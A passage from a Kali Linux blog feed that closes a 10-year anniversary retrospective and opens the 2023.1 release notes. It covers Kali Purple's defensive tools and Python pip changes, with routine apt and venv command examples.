&lt;p>Unfortunately, due to time constraints and personal events, we were unable to get our &amp;ldquo;kali4kids&amp;rdquo; ready in time. We were hoping to have this year&amp;rsquo;s special something early, but rather than rushing and reducing the quality, we are delaying it. Trust us, its going to be worth the wait. &lt;em>Its also not an April Fools, its not being released on 1st April - promise!&lt;/em>&lt;/p>
&lt;h2 id="tomorrow-the-future">Tomorrow: The Future&lt;/h2>
&lt;p>So, where do we see Kali in the next 10 years?
Good question! In short: &lt;em>We do not know.&lt;/em>&lt;/p>
&lt;p>10 years ago we could not have predicted where we are today. And the same goes for now, we cannot predict the next 10 years.&lt;/p>
&lt;p>What we can say is, we will continue with what we have already done and be responsive to the industry, pentesting, &amp;amp; market with how it develops over time with the goal of being at the forefront.&lt;/p>
&lt;hr>
&lt;p>We need to be responsive to items which come up. Both from an upstream side of things (Debian), as well as the infosec industry.&lt;/p>
&lt;p>With software, code gets updated. A perfect recent example of that is Python. Debian is getting ready to do its next stable release this summer. As a result, there are &lt;a href="https://release.debian.org/bookworm/freeze_policy.html">various stages&lt;/a> in the release cycle to make this happen. Package maintainers are trying to make sure they have the latest version in, and as bug free as possible. Python is such a core part of an OS as so many scripts and packages rely on it, it is included in their first freeze. Python 3.11 has been &amp;ldquo;rushed&amp;rdquo; to make it into the upcoming stable release, as there are real improved performance. This then has a knock on-effect, as not everything may be compatible, either in Debian or Kali. After the updated Python was accepted, packages then get updated, pushed and tested against. There is a lot, and it does not happen all at once, but rather as each package then gets updated afterwards. As a result, bugs may trickle in as things change.
&lt;em>We also like to try and keep as close to Debian as possible, expect for where it makes sense to benefit us and our users. This means we can put more time into doing things that make Kali&amp;hellip; Kali!&lt;/em>&lt;/p>
&lt;p>With technology, trends change. Live-CD were once &amp;ldquo;the in thing&amp;rdquo;, then persistent USB was &amp;ldquo;it&amp;rdquo;, which moved onto VMs, which gave way to containers, and currently &amp;ldquo;cloud&amp;rdquo; is in. Who knows what&amp;rsquo;s next!&lt;/p>
&lt;p>In infosec, trends change as technology changes, software stacks change, attack surface changes, and defenses improve. As a result, we need to be able to adapt. At one stage, Wireless hacking &amp;ldquo;was the thing&amp;rdquo;, so we needed to support injection on as many cards as possible. Today, it is more &amp;ldquo;Command and Control&amp;rdquo;, &amp;ldquo;Cloud&amp;rdquo;, &amp;ldquo;Living off the Land&amp;rdquo;, and &amp;ldquo;Endpoint Detection and Response&amp;rdquo;.
We do not know what tomorrow will bring, but we need to be ready to react to it.&lt;/p>
&lt;hr>
&lt;p>We have built up various internal technical debt, that we need to pay off. &lt;em>Luckily nothing is more than 10 years old!&lt;/em>&lt;/p>
&lt;p>An item which we are able to talk about, is switching out our mirror redirector to a newer solution. We have had this since the start of Kali, and whilst it does work, it is becoming more feature limiting and unable to integrate with newer stacks.&lt;/p>
&lt;p>Refreshing our CI solution we are using for our image building is another item which is long overdue. This will help detect build issues with our images and platforms quicker.&lt;/p>
&lt;p>Once we have reduced as much of the debt as we can, we will be in a much stronger position to be able to push forwards, and quicker than if we were to do any future items now. We are aiming then to ride on the development momentum, to build excitement up in the community.&lt;/p>
&lt;hr>
&lt;p>Like Kali Purple, Kali is going defensive. This is a new area for Kali, currently we have only scratched the surface. We want to go deeper and break into more infosec areas as well!&lt;/p>
&lt;p>We are looking for ideas and suggestions to please come and get involved with what you would like to see Kali Purple turn into.&lt;/p>
&lt;hr>
&lt;p>Kali is an Open-Source project. Previously we have been doing things behind closed doors, but we have been doing more in the public eye. But we can do more. We want to do even more in the open as possible. We are wanting to feed and help community contributions grow.&lt;/p>
&lt;hr>
&lt;p>&amp;hellip;One thing that is certain however, we do not plan on changing the projects name. Kali is here to stay!&lt;/p>
&lt;h2 id="timelines">Timelines&lt;/h2>
&lt;p>Over the years there has been some activity in different areas. Below we have pieced together some things which may be of interest to some of you.&lt;/p>
&lt;h3 id="talks">Talks&lt;/h3>
&lt;p>Over the years, the team has given various different talks about the projects. They could be more of a deep dive of a certain platform or feature, but below are ones more of a higher level overview:&lt;/p>
&lt;ul>
&lt;li>2013-07-17: &lt;a href="https://www.youtube.com/watch?v=zflPxpmxk-o">OISF 2013 Martin Bos Kali Linux Backtrack Linux reborn&lt;/a> @ Ohio Information Security Forum &lt;/li>
&lt;li>2017-12-05: &lt;a href="https://www.youtube.com/watch?v=E-rs7OXH7Ls">Kali Linux&amp;rsquo;s Experience of a Derivative Tracking Debian Testing&lt;/a> @ Debconf 16&lt;/li>
&lt;/ul>
&lt;h3 id="trailer-videos">Trailer Videos&lt;/h3>
&lt;p>Over the years, we have done videos to show off the project. Here is a collection:&lt;/p>
&lt;ul>
&lt;li>2011-05-05: &lt;a href="https://vimeo.com/23347352">BackTrack 5 - Penetration Testing Distribution&lt;/a>&lt;/li>
&lt;li>2013-01-19: &lt;a href="https://vimeo.com/57742213">BackTrack Reborn - Kali Linux Teaser&lt;/a>&lt;/li>
&lt;li>2015-07-01: &lt;a href="https://vimeo.com/132329259">Kali 2.0 Teaser - Kali Sana&lt;/a>&lt;/li>
&lt;li>2017-08-22: &lt;a href="https://vimeo.com/346920378">Kali 2017.1 - KDE Desktop Fun&lt;/a>&lt;/li>
&lt;/ul>
&lt;h3 id="hacked">Hacked&lt;/h3>
&lt;p>We know everyone is a target, but also being apart of the industry we paint ourselves as a bigger target. From time-to-time we have made slip ups. Lucky, as far as we know, it never has been anything major, critical or user-facing:&lt;/p>
&lt;ul>
&lt;li>2010-12-25: &amp;ldquo;Happy Ninja&amp;rdquo; low privileged shell by compromising another vHost on the same machine via an outdated vBulletin plug-in
&lt;ul>
&lt;li>Their eZine: &lt;a href="https://www.exploit-db.com/papers/15823">Owned and Exposed #2&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;em>2012-04-11 - Invalid &lt;a href="https://web.archive.org/web/20120414172307/http://www.backtrack-linux.org:80/backtrack/backtrack-0day-privilege-escalation">0-day privilage escalation in BackTrack&lt;/a> advisory&lt;/em>
&lt;ul>
&lt;li>&lt;em>Really, it was WICD privilege escalation, BackTrack was already running as root, and it was more of a PR stunt&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>2013-05-01: OffSec launches Bug Bounty program, covering Kali Linux&lt;/li>
&lt;li>2014-04-30: &amp;ldquo;The GreaT TeAm (TGT)&amp;quot;&amp;rsquo;s defacement of &lt;code>lists.kali.org&lt;/code> (via Heartbleed/CVE-2014-0160)
&lt;ul>
&lt;li>Low traffic, rarely used 3rd party hosted public mailing list&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>2016-03-31: &amp;ldquo;Team Bad Dream&amp;rdquo; gained moderation privileges on &lt;code>forums.kali.org&lt;/code> (socially engineered), which lead to failed defacement on &lt;code>bugs.kali.org&lt;/code> (suspect re-used credentials)
&lt;ul>
&lt;li>Also suspect impersonating user on IRC (failed attempt at requesting additional access to new services)&lt;/li>
&lt;li>Limited only to community support portals&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>2021-12-08: &amp;ldquo;0x0 keeper&amp;rdquo; used CVE-2021-43798 Grafana directory traversal (via OffSec&amp;rsquo;s bug bounty program)
&lt;ul>
&lt;li>Used for system monitoring and alerts&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="april-fools">April Fools&lt;/h3>
&lt;p>We like a bit of fun, and have been known to pull pranks over the years:&lt;/p>
&lt;ul>
&lt;li>2010-04-01: &lt;a href="https://web.archive.org/web/20100407115253/http://www.backtrack-linux.org:80/backtrack/aircrack-ng-aquired-by-the-backtrack-team">Backcrack-ng v1.1&lt;/a> &lt;/li>
&lt;li>2021-04-01: &lt;a href="https://twitter.com/kalilinux/status/1377659731913871362">kali4kids&lt;/a>&lt;/li>
&lt;li>2022-04-01: &lt;a href="https://www.kali.org/blog/kali-linux-2022-2-release/">Hollywood mode&lt;/a>&lt;/li>
&lt;/ul>
&lt;h4 id="kali4kids">Kali4Kids&lt;/h4>
&lt;p>What &lt;a href="https://www.kali.org/blog/kali-everywhere/">started out as a poster&lt;/a> put out by a government agency that &lt;a href="https://www.zdnet.com/article/uk-police-distance-themselves-from-poster-warning-parents-to-report-kids-for-using-kali-linux/">did not give the message they were expecting&lt;/a>.&lt;/p>
&lt;p>In response, the community started to share how &lt;a href="https://twitter.com/kalilinux/status/1229906554079645696">Kali is for the children&lt;/a>.
With how much it was being used, it was shortened to &amp;ldquo;Kali For Kids&amp;rdquo;. So we figured, &lt;a href="https://web.archive.org/web/20210401163106/https://kids.kali.org/">what would Kali look like IF it was made for kids&lt;/a>.&lt;/p>
&lt;p>&amp;ldquo;kali4kids&amp;rdquo; then became the internal name for next year&amp;rsquo;s April Fools joke. We have got enough ideas for things we want to try all the way to 2039!&lt;/p>
&lt;h3 id="kali-dojo">Kali Dojo&lt;/h3>
&lt;p>The term &amp;ldquo;Dojo&amp;rdquo; relates to the martial arts, where you practised it. As there has always been a underlying theme of martial arts, it felt right to use.
Kali dojo, was a series of workshops given at mostly conferences. They would be hands on exercises, doing features with the OS that makes Kali, Kali:&lt;/p>
&lt;ul>
&lt;li>2014-08-07: &lt;a href="https://www.blackhat.com/us-14/kali-linux-dojo.html">Black Hat USA 2014&lt;/a>&lt;/li>
&lt;li>2014-09-24: &lt;a href="http://2014.brucon.org/index.php/Training_Kali_Linux_Dojo.html">BruCon 2014&lt;/a>&lt;/li>
&lt;li>2014-09-27: &lt;a href="https://www.youtube.com/watch?v=EhKeNfldif8&amp;amp;t=684s">DerbyCon 2014&lt;/a> &lt;/li>
&lt;li>2015-08-05: &lt;a href="https://www.blackhat.com/us-15/briefings.html#the-kali-linux-dojo-workshop-#1-rolling-your-own-generating-custom-kali-linux-20-isos">Black Hat USA 2015&lt;/a> &lt;/li>
&lt;li>2015-08-07: &lt;a href="https://defcon.org/html/defcon-23/dc-23-kali-dojo.html">DEF CON 23&lt;/a> &lt;/li>
&lt;li>2016-03-24: &lt;em>&lt;a href="https://www.offsec.com/offsec/what-it-means-to-be-an-oscp-reloaded/">IRC&lt;/a>&lt;/em>&lt;/li>
&lt;li>2016-08-04: &lt;a href="https://www.blackhat.com/us-16/kali-linux.html">Black Hat USA 2016&lt;/a> &lt;/li>
&lt;li>2016-08-31: &lt;a href="https://ekoparty.blogspot.com/2016/08/the-kali-linux-dojo-penetration-testing.html">Ekoparty 12&lt;/a> &lt;/li>
&lt;li>2017-07-27: &lt;a href="https://www.blackhat.com/us-17/kali-linux.html">Black Hat USA 2017&lt;/a> &lt;/li>
&lt;li>2017-07-29: &lt;a href="https://www.wallofsheep.com/blogs/news/introducing-hands-on-workshops-at-the-packet-hacking-village#kalilinux">DEF CON 25&lt;/a> &lt;/li>
&lt;li>2018-08-09: &lt;a href="https://twitter.com/kalilinux/status/1027599759257743360">Black Hat USA 2018&lt;/a> &lt;/li>
&lt;li>2018-08-11: &lt;a href="https://www.wallofsheep.com/pages/dc26#jlong">DEF CON 26&lt;/a> &lt;/li>
&lt;li>2018-10-25: &lt;a href="https://wwhf18.sched.com/event/Foa3/workshop-kali-linux-dojo-registration-required">Wild West Hackin&amp;rsquo; Fest 2018&lt;/a> &lt;/li>
&lt;li>2018-03-21: &lt;a href="https://web.archive.org/web/20171116235734/http://infosecworld.misti.com/agenda/agenda-at-a-glance">InfoSec World 2018&lt;/a> &lt;/li>
&lt;/ul>
&lt;p>Online videos of 2015 dojos:&lt;/p>
&lt;ul>
&lt;li>2015-02-25: &lt;a href="https://vimeo.com/120611508">Kali Dojo 02 - Building Custom Kali ISOs using Live Build&lt;/a>&lt;/li>
&lt;li>2015-02-26: &lt;a href="https://vimeo.com/120724441">Kali Dojo 03 - Kali Linux USB Persistence &amp;amp; Encryption&lt;/a>&lt;/li>
&lt;li>2015-03-06: &lt;a href="https://vimeo.com/121449299">Kali Dojo 04 - Kali on a Raspberry Pi with LUKS Disk Encryption&lt;/a>&lt;/li>
&lt;/ul></description></item><item><title>Kali Linux 2023.1 Release (Kali Purple &amp; Python Changes)</title><link>https://www.kali.org/blog/kali-linux-2023-1-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2023-1-release/</guid><pubDate>Mon, 13 Mar 2023 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-linux-2023-1-release/images/banner-2023.1-release.jpg" type="image/jpg"/><description>&lt;p>Today we are releasing Kali 2023.1 (and on our &lt;strong>10th anniversary&lt;/strong>)! It will be ready for immediate &lt;a href="https://www.kali.org/get-kali/">download&lt;/a> or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">updating&lt;/a> by the time you have finished reading this post.&lt;/p>
&lt;p>Given its our 10th anniversary, we are delighted to announce there are a few special things lined up to help celebrate. Stay tuned for a blog post coming out for more information! Edit: &lt;a href="https://www.kali.org/blog/10-years/">Its out&lt;/a>!&lt;/p>
&lt;p>The &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> summary since the &lt;a href="https://www.kali.org/blog/kali-linux-2022-4-release/">2022.4 release from December&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-1-release/#kali-purple">Kali Purple&lt;/a>&lt;/strong> - The dawn of a new era. Kali is not only Offense, but starting to be defense&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-1-release/#python-updates--changes">Python Changes&lt;/a>&lt;/strong> - Python 3.11 &amp;amp; PIP changes going forward&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-1-release/#2023-theme-refresh">2023 Theme&lt;/a>&lt;/strong> - Our once a year theme update! This time, what&amp;rsquo;s old is new again&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-1-release/#desktop-updates">Desktop Updates&lt;/a>&lt;/strong> - Xfce 4.18 &amp;amp; KDE Plasma 5.27&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-1-release/#default-kernel-settings">Default Kernel Settings&lt;/a>&lt;/strong> - What makes the Kali kernel different&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2023-1-release/#new-tools-in-kali">New Tools&lt;/a>&lt;/strong> - As always, various new tools added&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="kali-purple">Kali Purple&lt;/h2>
&lt;blockquote>
&lt;p>&lt;em>&lt;strong>We are leveling the playing field&lt;/strong>!&lt;/em>&lt;/p>
&lt;/blockquote>
&lt;p>Over the years, we have perfected what we have specialized in, offensive security. We are now starting to branch into a new area, defensive security!
We are doing an initial technical preview pre-launch of &amp;ldquo;Kali Purple&amp;rdquo;. This is still in its infancy and is going to need time to mature. But you can start to see the direction Kali is expanding into. You can also be a part of helping to shape the direction!&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-1-release/images/kali-purple-icon.svg' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-1-release/images/kali-purple-icon.svg" alt="Kali Purple" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;hr>
&lt;p>&lt;strong>What is Kali Purple?&lt;/strong>&lt;/p>
&lt;p>The one stop shop for blue and purple Teams.&lt;/p>
&lt;blockquote>
&lt;p>&lt;em>Feeling red? Feeling blue?&lt;/em> Kali Purple: You do You!&lt;/p>
&lt;/blockquote>
&lt;p>Remember what we did a decade ago with Kali Linux? Or with &lt;a href="https://www.backtrack-linux.org/">BackTrack&lt;/a> before that? We made offensive security accessible to everyone. No expensive licenses required, no need for commercial grade infrastructure, no writing code or compiling tools to make it all work&amp;hellip; Just download Kali Linux and do your thing.&lt;/p>
&lt;p>We are excited to start a new journey with the mission to do exactly the same for defensive security: Just download Kali Purple and do your thing.&lt;/p>
&lt;p>Kali Purple is starting out as a Proof of Concept, evolving into a framework, then a platform &lt;em>(just like how Kali is today)&lt;/em>. The goal is to make enterprise grade security accessible to everyone.&lt;/p>
&lt;hr>
&lt;p>&lt;strong>What is in Kali Purple?&lt;/strong>&lt;/p>
&lt;p>On a higher level, Kali Purple consists of:&lt;/p>
&lt;ul>
&lt;li>A reference architecture for the ultimate SOC In-A-Box; perfect for:
&lt;ul>
&lt;li>Learning&lt;/li>
&lt;li>Practicing SOC analysis and threat hunting&lt;/li>
&lt;li>Security control design and testing&lt;/li>
&lt;li>Blue / Red / Purple teaming exercises&lt;/li>
&lt;li>Kali spy vs. spy competitions ( bare knuckle Blue vs. Red )&lt;/li>
&lt;li>Protection of small to medium size environments&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Over 100 defensive tools, such as:
&lt;ul>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/arkime">Arkime&lt;/a> - Full packet capture and analysis&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/cyberchef">CyberChef&lt;/a> - The cyber swiss army knife&lt;/li>
&lt;li>&lt;code>Elastic Security&lt;/code> - Security Information and Event Management&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/gvm/">GVM&lt;/a> - Vulnerability scanner&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/thehive">TheHive&lt;/a> - Incident response platform&lt;/li>
&lt;li>&lt;code>Malcolm&lt;/code> - Network traffic analysis tool suite&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/suricata">Suricata&lt;/a> - Intrusion Detection System&lt;/li>
&lt;li>&lt;a href="https://pkg.kali.org/pkg/zeek">Zeek&lt;/a> - (another) Intrusion Detection System &lt;em>(both have their use-cases!)&lt;/em>&lt;/li>
&lt;li>&lt;em>&amp;hellip;and of course all the usual &lt;a href="https://www.kali.org/tools/">Kali tools&lt;/a>&lt;/em>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Defensive tools &lt;a href="https://gitlab.com/kalilinux/kali-purple/documentation">documentations&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/get-kali/">Pre-generated image&lt;/a>&lt;/li>
&lt;li>Kali Autopilot - an attack script builder / framework for automated attacks &lt;/li>
&lt;li>Kali Purple Hub for the community to share:
&lt;ul>
&lt;li>Practice pcaps&lt;/li>
&lt;li>Kali Autopilot scripts for blue teaming exercises&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/kalilinux/kali-purple/documentation/-/wikis/home">Community Wiki&lt;/a>&lt;/li>
&lt;li>A defensive menu structure according to NIST CSF (National Institute of Standards and Technology Critical Infrastructure Cybersecurity):
&lt;ul>
&lt;li>Identify&lt;/li>
&lt;li>Protect&lt;/li>
&lt;li>Detect&lt;/li>
&lt;li>Respond&lt;/li>
&lt;li>Recover&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Kali Purple &lt;a href="https://discord.kali.org/">Discord&lt;/a> channels for community collaboration and fun&lt;/li>
&lt;li>And theme: installer, menu entries &amp;amp; Xfce!&lt;/li>
&lt;/ul>
&lt;p>&amp;hellip;And this is just the beginning of our journey.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.kali.org/blog/kali-linux-2023-1-release/https://www.youtube-nocookie.com/embed/3UMxOsdexK8?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
&lt;/div>
&lt;h3 id="screenshots">Screenshots&lt;/h3>
&lt;p>This is what it looks like. Some defensive tools:&lt;/p>
&lt;p>&lt;strong>Elastic SIEM&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-1-release/images/Elastic-01-Dashboard-OPNsense.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-1-release/images/Elastic-01-Dashboard-OPNsense.png" alt="Elastic SIEM" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Arkime&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-1-release/images/Malcolm-01-Arkime.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-1-release/images/Malcolm-01-Arkime.png" alt="Arkime" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Malcolm&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-1-release/images/Malcolm-10-Dashboard.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-1-release/images/Malcolm-10-Dashboard.png" alt="Malcolm" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;strong>Installer, menu, and Xfce&lt;/strong>:&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-1-release/images/Kali-Purple_installer.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-1-release/images/Kali-Purple_installer.png" alt="Kali Purple installer" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-1-release/images/Kali-Purple_menu.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-1-release/images/Kali-Purple_menu.png" alt="Kali Purple menu" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2023-1-release/images/Kali-Purple_xfce.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2023-1-release/images/Kali-Purple_xfce.png" alt="Kali Purple Xfce" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Please head over to the &lt;a href="https://gitlab.com/kalilinux/documentation/kali-purple/-/wikis/home">Kali Purple wiki&lt;/a> to join the movement.&lt;/p>
&lt;h2 id="python-updates--changes">Python Updates &amp;amp; Changes&lt;/h2>
&lt;p>Debian is gearing up to do its next stable version (happens roughly every 2 years, and its looking like it could be this summer). As a result, packages are getting updated all over the place. Active package maintainers are upgrading their work to be the latest version, otherwise, its a long wait for the next release!
Python is no exception, and &lt;strong>Python 3.11 is now in Debian&lt;/strong>, which comes with more informative error tracebacks and huge speed increase (&lt;a href="https://docs.python.org/3/whatsnew/3.11.html">between 10-60%&lt;/a>). The upgrade should not have as big of an impact as say &lt;a href="https://www.kali.org/blog/kali-linux-2021-4-release/">&lt;code>python&lt;/code> being removed from $PATH&lt;/a>, or even &lt;a href="https://www.kali.org/blog/python-2-end-of-life/">Python 2 -&amp;gt; Python 3 migration&lt;/a>. &lt;em>But it has caused us some headaches with supporting older packages.&lt;/em>&lt;/p>
&lt;p>However, there is something which &lt;strong>may catch people off-guard&lt;/strong> and cause an effect on some users, especially &lt;strong>if you have been using Python &amp;ldquo;incorrectly&amp;rdquo;&lt;/strong>. Python&amp;rsquo;s PIP behavior. &lt;em>This is already in effect with Debian testing, we have recently applied a &lt;strong>temporary patch&lt;/strong> to give our users a little more time.&lt;/em> Does either of the following look familiar? Can you spot what is wrong?&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ pip install --user thisisapythonmodule
┌──(kali㉿kali)-[~]
└─$ sudo pip install anotherpythonmodule
&lt;/code>&lt;/pre>
&lt;p>Anything stand out? The two commands above would try and install a Python module, using Python&amp;rsquo;s package manager &lt;code>pip&lt;/code> &lt;em>(Pip Installs Packages)&lt;/em>. The issue is, they can clash thus break the operating system&amp;rsquo;s package management ecosystem, &lt;code>apt&lt;/code> &lt;em>(Advanced Package Tool)&lt;/em>!
What should you do differently then? Three options:&lt;/p>
&lt;ul>
&lt;li>Use &lt;code>apt install python3-&amp;lt;package&amp;gt;&lt;/code> &lt;em>(easy, simple &amp;amp; recommended)&lt;/em>&lt;/li>
&lt;li>Use &lt;code>venv&lt;/code> &lt;em>(slightly more complicated but still recommended)&lt;/em>&lt;/li>
&lt;li>Use &lt;code>--break-system-packages&lt;/code> &lt;em>(warning warning warning!)&lt;/em>&lt;/li>
&lt;/ul>
&lt;p>Like we said before, our patch is only temporary. Our current behavior will change &lt;em>(like Debian has already)&lt;/em>. When Kali 2023.4 is released 4th quarter of this year, we will drop our patch, and Pip will refuse to install packages system-wide. Thus you can do one of the three actions below.
We will be reminding you of this with each Kali version building up to the change. We hope you were already using the correct procedure. If you were not, we hope there is enough time for scripts, pipeline and documentation to be updated to one of the supported &amp;amp; recommended ways.&lt;/p>
&lt;h3 id="apt">APT&lt;/h3>
&lt;p>Our personal preferred approach and what we see as being the easiest way, &lt;code>apt&lt;/code>. We would want to see if there is already a Debian package of the Python module, and use that &lt;em>(if possible)&lt;/em>. A quick rule of thumb would be to-do either blind guess the name, or search:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ sudo apt install python3-thisisapythonmodule
[...]
┌──(kali㉿kali)-[~]
└─$ apt search python3 anotherpythonmodule
[...]
&lt;/code>&lt;/pre>
&lt;p>&lt;em>If you want a Python module packaged up, &lt;a href="https://bugs.kali.org/">let us know&lt;/a>. If you want a Python module updated, again &lt;a href="https://bugs.kali.org/">let us know&lt;/a>.&lt;/em>&lt;/p>
&lt;h3 id="venv">venv&lt;/h3>
&lt;p>There are times where &lt;code>apt&lt;/code> may not work for you, such as if there is not yet a Debian package or what is in our network repository is outdated. Look, we get it. You may &lt;strong>need&lt;/strong> the latest version of a Python library and thus pulling from Pip gives you what you are after. However, there are then repercussions of files getting added/updated/removed which either package manager is not aware of. &lt;strong>Things may not break straight away, but they might&lt;/strong>. An example could be when either package manager has an update of the module, or you try and install a module using the other ecosystem.
Enter. &lt;code>venv&lt;/code> (Virtual environment). This creates an area which is completely independent. For a quick crash course to help remind you:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ sudo apt install python3-venv
┌──(kali㉿kali)-[~]
└─$ mkdir -pv ~/.venvs/
┌──(kali㉿kali)-[~]
└─$ python3 -m venv ~/.venvs/myfirstvenv
&lt;/code>&lt;/pre>
&lt;p>Now, you can interact with the new virtual environment one of two ways.
You can do either the &amp;ldquo;one off action&amp;rdquo; one-liner:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ ~/.venvs/myfirstvenv/bin/python -m pip install thisisapythonmodule
┌──(kali㉿kali)-[~]
└─$ ~/.venvs/myfirstvenv/bin/python -m pip list
[...]
&lt;/code>&lt;/pre>
&lt;p>Otherwise, you can load into the virtual environment which is a little bit more persistent:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ source ~/.venvs/myfirstvenv/bin/activate
┌──(myfirstvenv)(kali㉿kali)-[~]
└─# pip list
[...]
┌──(myfirstvenv)(kali㉿kali)-[~]
└─# deactivate
┌──(kali㉿kali)-[~]
└─$
&lt;/code>&lt;/pre>
&lt;p>Do either method, whichever is best for your needs, requirements, and setup!&lt;/p>
&lt;h3 id="break-system-packages">break-system-packages&lt;/h3>
&lt;p>Okay, enough telling off.
If you want to ignore everything, and do not care for the repercussions, add &lt;code>--break-system-packages&lt;/code> to the end of the command. The name of the option speaks for itself, do not tell us we did not warn you! And please, do not open bug reports when Python&amp;rsquo;s things stop working. Just please read &lt;a href="https://peps.python.org/pep-0668/">this, pep-0668&lt;/a>. Example:&lt;/p>
&lt;pre>&lt;code class="language-console">┌──(kali㉿kali)-[~]
└─$ sudo apt install python3-pip
┌──(kali㉿kali)-[~]
└─$ sudo pip install python-nmap
error: externally-managed-environment
× This environment is externally managed
╰─&amp;gt; To install Python packages system-wide, try apt install
python3-xyz, where xyz is the package you are trying to
install.
If you wish to install a non-Debian-packaged Python package,
create a virtual environment using python3 -m venv path/to/venv.
Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make
sure you have python3-full installed.
If you wish to install a non-Debian packaged Python application,
it may be easiest to use pipx install xyz, which will manage a
virtual environment for you. Make sure you have pipx installed.
See /usr/share/doc/python3.11/README.venv for more information.
note: If you believe this is a mistake, please contact your Python installation
or OS distribution provider. You can override this, at the risk of breaking
your Python installation or OS, by passing --break-system-packages.
hint: See PEP 668 for the detailed specification.
┌──(kali㉿kali)-[~]
└─$ sudo pip install --break-system-packages python-nmap
[...]
&lt;/code>&lt;/pre>
&lt;h2 id="2023-theme-refresh">2023 Theme Refresh&lt;/h2>
&lt;p>Since &lt;a href="https://www.kali.org/blog/kali-linux-2021-2-release/">Kali 2021.2&lt;/a>, all our first year releases (20xx.1) introduce a visual theme refresh. Using a yearly life cycle, it makes it easier to recognize the different versions of Kali Linux over time. This update includes &lt;strong>new wallpapers for desktop, login, and boot displays&lt;/strong>, in addition to &lt;strong>new variants of all the themes but now in Kali Purple flavor&lt;/strong>. Kali Purple will use the white mode them by default, but if you feel so you can perfectly change it to Dark Purple theme. Now you can enjoy any of our main desktops (KDE Plasma, GNOME Shell and Xfce) with new Purple themes and icons.&lt;/p>
&lt;p>This time, given its our 10 year anniversary, the theme is a nod to where we have came from, and &lt;strong>the backgrounds we have designed are a direct reference to previous iconic Kali releases&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Boot - &lt;strong>Kali 1.0&lt;/strong>&lt;/li>
&lt;li>Login/Lock - &lt;strong>Kali 2.0&lt;/strong>&lt;/li>
